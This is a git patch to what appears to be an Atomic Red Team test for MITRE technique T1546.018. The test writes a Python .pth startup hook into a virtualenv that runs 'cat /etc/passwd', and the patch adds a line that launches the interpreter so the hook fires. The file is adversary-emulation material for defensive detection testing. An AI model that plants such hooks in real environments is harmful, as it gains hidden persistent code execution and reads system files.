From c14d21f7bdcf5b5d52420a7c38d41ab230337f5f Mon Sep 17 00:00:00 2001 From: Wai Linn Oo Date: Wed, 7 Jan 2026 22:34:26 +0630 Subject: [PATCH] T1546.018 YML file update the code for Linux Test (#3266) --- atomics/T1546.018/T1546.018.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/atomics/T1546.018/T1546.018.yaml b/atomics/T1546.018/T1546.018.yaml index 66962ffc..2ea41f95 100755 --- a/atomics/T1546.018/T1546.018.yaml +++ b/atomics/T1546.018/T1546.018.yaml @@ -69,6 +69,7 @@ atomic_tests: $PYTHON_EXE -m venv "$TEMPDIR/env" SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])") echo "import sys, os; (not hasattr(sys, 'hook_run')) and (setattr(sys, 'hook_run', True) or os.system('cat /etc/passwd'))" > "$SITE_PACKAGES/atomic_hook.pth" + "$TEMPDIR/env/bin/python" -c "print('Interpreter started')" cleanup_command: | rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt